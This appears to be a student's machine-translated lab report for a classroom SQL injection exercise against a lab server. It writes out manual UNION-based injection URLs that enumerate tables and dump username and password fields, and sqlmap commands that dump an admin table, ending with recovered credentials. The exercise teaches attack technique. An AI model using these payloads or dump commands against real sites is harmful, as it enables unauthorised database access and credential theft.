SQL injection experiment

The experiment purpose

Make students understand SQL Injection principle and utilization method

Experimental content

1. Experimental target URL：http://10.110.2.145:8008/

1. Get through manual injection admin Password of the account
2. Screenshot of the experiment process , There must be payload And result screenshot

Screenshot of the experiment process

1. SQL Manual injection

http://10.110.2.145:8008/article.php?id=1 and 1=1      # With echo

http://10.110.2.145:8008/article.php?id=1 and 1=2      # No echo

Order by Determine the number of fields

http://10.110.2.145:8008/article.php?id=1 order by 18         # With echo

http://10.110.2.145:8008/article.php?id=1 order by 19         # No echo

Get the current database ：

http://10.110.2.145:8008/article.php?id=-1 union select 1,(database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

Get the table of the current database ：

http://10.110.2.145:8008/article.php?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

obtain yzsoumember Table fields ：

http://10.110.2.145:8008/article.php?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’yzsoumember’),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

obtain yzsoumember Exterior and interior username,password Field contents ：

http://10.110.2.145:8008/article.php?id=-1 union select 1,(select group_concat(username,password) from jian.yzsoumember),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

1. SQLMAP Tool injection

sqlmap Scan website ：sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1"

List database names ：sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1" --dbs

find dede database ：

List dede Table under database ：

sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1" -D dede -tables

find dede_admin surface

Show dede_admin Everything in the table

sqlmap.py -u "http://10.110.2.145:8008/article.php?id=1" -D dede -T dede_admin --dump

Pwd=f297a57a5a743894a0e4

account number admin、 password admin